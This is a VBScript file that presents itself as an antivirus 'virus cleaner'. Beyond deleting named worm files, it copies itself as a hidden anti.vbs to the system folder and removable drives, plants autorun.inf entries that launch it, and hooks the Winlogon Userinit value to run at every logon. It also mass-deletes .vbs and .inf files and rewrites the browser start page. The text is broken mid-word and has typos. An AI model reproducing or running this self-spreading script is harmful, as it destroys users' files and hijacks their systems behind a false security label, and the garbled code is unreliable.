'****************************************************************** '********************* Clean Virus VBScript *********************** '************************** Version 2.

00 ************************** '****************************************************************** 'This is an antivirus program written in VBScript Language 'and removes the viruses which are the most troublesome 'these days specially which are not easily caught by AntiVirus 'This program also removes the effect of the viruses if any ' ' 'Revised and Authored by: Sanaur Rahman 'Support: Fusion Ace Enterprises 'for more softwares and tricks visit 'www.fusionace.com '****************************************************************** '****************************************************************** Option Explicit On Error Resume Next Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,Wr iteAll,Del,folder,Files,Delete,auto,root,rtn,appfolder,kinzadir Set Fso = CreateObject("Scripting.FileSystemObject") Set Shells = CreateObject("Wscript.Shell") Set WinDir = Fso.GetSpecialFolder(0) Set SystemDir =Fso.GetSpecialFolder(1) Set File = Fso.GetFile(WScript.ScriptFullName) Set Drv = File.Drive appfolder=Shells.SpecialFolders("AppData") kinzadir = appfolder & "\dxdlls" Set InDrive = Fso.drives Set ReadAll = File.OpenAsTextStream(1,-2) do while not ReadAll.atendofstream AllFile = AllFile & ReadAll.readline AllFile = AllFile & vbcrlf Loop crvbs SystemDir,"anti.vbs" Shells.RegWrite "HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD","0" ,"REG_DWORD" Count=Drv.DriveType Do delt delt delt delt delt delt delt delt delt delt delt delt delt delt SystemDir,"scvvhsot.exe",true SystemDir,"sevhost.exe",true SystemDir,"sevhost.com",true SystemDir,"n1de1ect.exe",true WinDir,"scvvhsot.exe",true SystemDir,"blastclnnn.exe",true SystemDir,"dxdlg.exe",true SystemDir,"wprop.exe",true SystemDir,"boot.vbs",false SystemDir,"imapd.exe",true SystemDir,"imapdb.exe",true SystemDir,"imapdc.dll",false SystemDir,"imapdd.dll",false SystemDir,"imapde.dll",false

delt SystemDir,"kinza.exe",true delt SystemDir,"isetup.exe",true delt SystemDir,"Drivers\etc\hints.exe",true For each Files in kinzadir.Files set WriteAll = Fso.GetFile(Files.Name) set Delete = WriteAll.Delete(True) Next set WriteAll = Fso.GetFoler(kinzadir) set Delete = WriteAll.Delete(True) Shells.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion \Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue","0","REG_DWORD" Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window T itle","google page" Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer\NoFolderOptions","0","REG_DWORD" Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies \System\DisableTaskMgr","0","REG_DWORD" Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies \System\DisableRegistryTools","0","REG_DWORD" Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Pa ge","http://www.yahoo.com.com" Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlo gon\Shell","explorer.exe" Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlo gon\Userinit",SystemDir & "\userinit.exe," & _ SystemDir & "\wscript.exe " & SystemDir & "\anti.vbs" For Each Drives In InDrive root = Drives.Path & "\" If Fso.GetParentFolderName(WScript.ScriptFullName)=root Then Shells.Run "explorer.exe " & root End If Set folder=Fso.GetFolder(root) Set Delete = Fso.DeleteFile(SystemDir & "\killvbs.vbs",true) Set Delete = Fso.DeleteFile(SystemDir & "\VirusRemoval.vbs",true ) If Drives.DriveType=2 Then delext "inf",Drives.Path & "\" delext "INF",Drives.Path & "\" End if If Drives.DriveType = 1 Or Drives.DriveType = 2 Then If Drives.Path<> "A:" Then delext "vbs",WinDir & "\" delext "vbs",Drives.Path & "\" delt Drives.Path, "ravmon.exe",false if Drives.DriveType = 1 then crvbs Drives.Path,"anti.vbs" End if delt Drives.Path,"autorun.inf",false delt Drives.Path,"sxs.exe",false delt Drives.Path,"kinza.exe",false delt Drives.Path,"SCVVHSOT.exe",false delt Drives.Path,"New Folder.exe",false delt Drives.Path,"Autorun.inf",false delt Drives.Path,"isetup.exe",false delt Drives.Path,"explorer.exe",false delt Drives.Path,"smss.exe",false

delt Drives.Path,"winfile.exe",false delt Drives.Path,"run.wsh",false If Drives.DriveType = 1 Then If Drives.Path<>"A:" Then crinf Drives.Path,"autorun.inf" End If End If End if End If Next if Count <> 1 then Wscript.sleep 200 end if loop while Count<>1 sub delext(File2Find, SrchPath) Dim oFileSys, oFolder, oFile,Cut,Delete Set oFileSys = CreateObject("Scripting.FileSystemObject") Set oFolder = oFileSys.GetFolder(SrchPath) Set File = oFileSys.GetFile(WScript.ScriptFullName) For Each oFile In oFolder.Files Cut=Right(oFile.Name,3) If UCse(Cut)=UCase(file2find) Then If oFile.Name <> "antis" Then set Delete = oFileSys.Dele teFile(srchpath & oFile.Name,true) End If Next End sub sub delt(fPath, fName, kil) dim fSys, Delet, Wri, raj set raj = CreateObject("Wscript.Shell") set fSys = CreateObject("Scripting.FileSystemObject") if fSys.FileExists(fPath & "\" & fName) then if kil = true then raj.Run "taskkill /f /im " & fName,0 set Wri = fSys.GetFile(fPath & "\" & fName) Wri.Attributes = 0 set Delet = fSys.DeleteFile(fpath & "\" & fname,true) else set Wri = fSys.GetFile(fPath & "\" & fName) Wri.Attributes = 0 set Delet = fSys.DeleteFile(fpath & "\" & fname,true) End if End if end sub sub crvbs(fPath, fName) dim dt, dt1, fSys, Writ, mfile, ReadAl, AllFil, chg, aLine, eLine,Shells set fSys = CreateObject("Scripting.FileSystemObject") set mfile = fSys.GetFile(WScript.ScriptFullName) Set ReadAl = mfile.OpenAsTextStream(1,-2) do while not ReadAl.atendofstream AllFil = AllFil & ReadAl.readline

AllFil = AllFil & vbcrlf Loop If fSys.FileExists(fPath & "\" & fName) then set Writ = fSys.GetFile(fPath & "\" & fName) dt = Writ.DateLastModified dt1 = mfile.DateLastModified if (datevalue(dt1)-datevalue(dt)) > 0 then delt fPath,"anti.vbs",false set Writ = fSys.CreateTextFile(fPath & "\" & fName,2,tru e) Writ.Write AllFil Writ.close set Writ = fSys.GetFile(fPath & "\" & fname) Writ.Attributes = -1 end if else set Writ = fSys.CreateTextFile(fPath & "\anti.vbs",true,true) Writ.Write AllFil Writ.close set Writ = fSys.GetFile(fPath & "\" & fName) Writ.Attributes = -1 end if end sub sub crinf(fPath, fName) dim dt, dt1, fSys, Writ, mfile, ReadAl, AllFil, chg, aLine, eLine,Shells set fSys = CreateObject("Scripting.FileSystemObject") eLine =eLine & "[autorun]" & vbcrlf eLine =eLine & "open=wscript.exe anti.vbs" & vbcrlf eLine =eLine & "icon=%systemroot%\System32\SHELL32.dll,8" & vbcrlf eLine =eLine & "action=Open folder to view files" & vbcrlf eLine =eLine & "shell\open=Open" & vbcrlf eLine =eLine & "shell\open\Command=wscript.exe anti.vbs" & vbcrlf eLine =eLine & "shell\Auto=AutoPlay" & vbcrlf eLine =eLine & "shell\Auto\Command=wscript.exe anti.vbs" & vbcrlf eLine =eLine & "shell\Explore\Command=wscript.exe anti.vbs" & vbcrlf eLine =eLine & "shell\Find=Search..." & vbcrlf eLine =eLine & "shell\Find\Command=wscript.exe anti.vbs" & vbcrlf eLine =eLine & "shell\Format...=Format..." & vbcrlf eLine =eLine & "shell\Format...\Command=wscript.exe anti.vbs" & vbcrlf If fSys.FileExists(fPath & "\" & fName) then set Chg = fSys.GetFile(fPath & "\" & fName) set ReadAl = Chg.OpenAsTextStream(1,-2) do while not ReadAl.atendofstream aLine = aLine & ReadAl.readline aLine = aLine & vbcrlf Loop ReadAl.close If trim(aLine) <> trim(eLine) then Set Writ = fSys.CreateTextFile(fPath & "\" & fName,2,True) Writ.write eLine Writ.close Set Writ = fSys.GetFile(fPath & "\" & fName) Writ.Attributes = -1 End if else set Writ = fSys.CreateTextFile(fPath & "\" & fName,2,True) Writ.Write eLine Writ.Close Set Writ = fSys.GetFile(fPath & "\" & fName)

Writ.Attributes = -1 end if End sub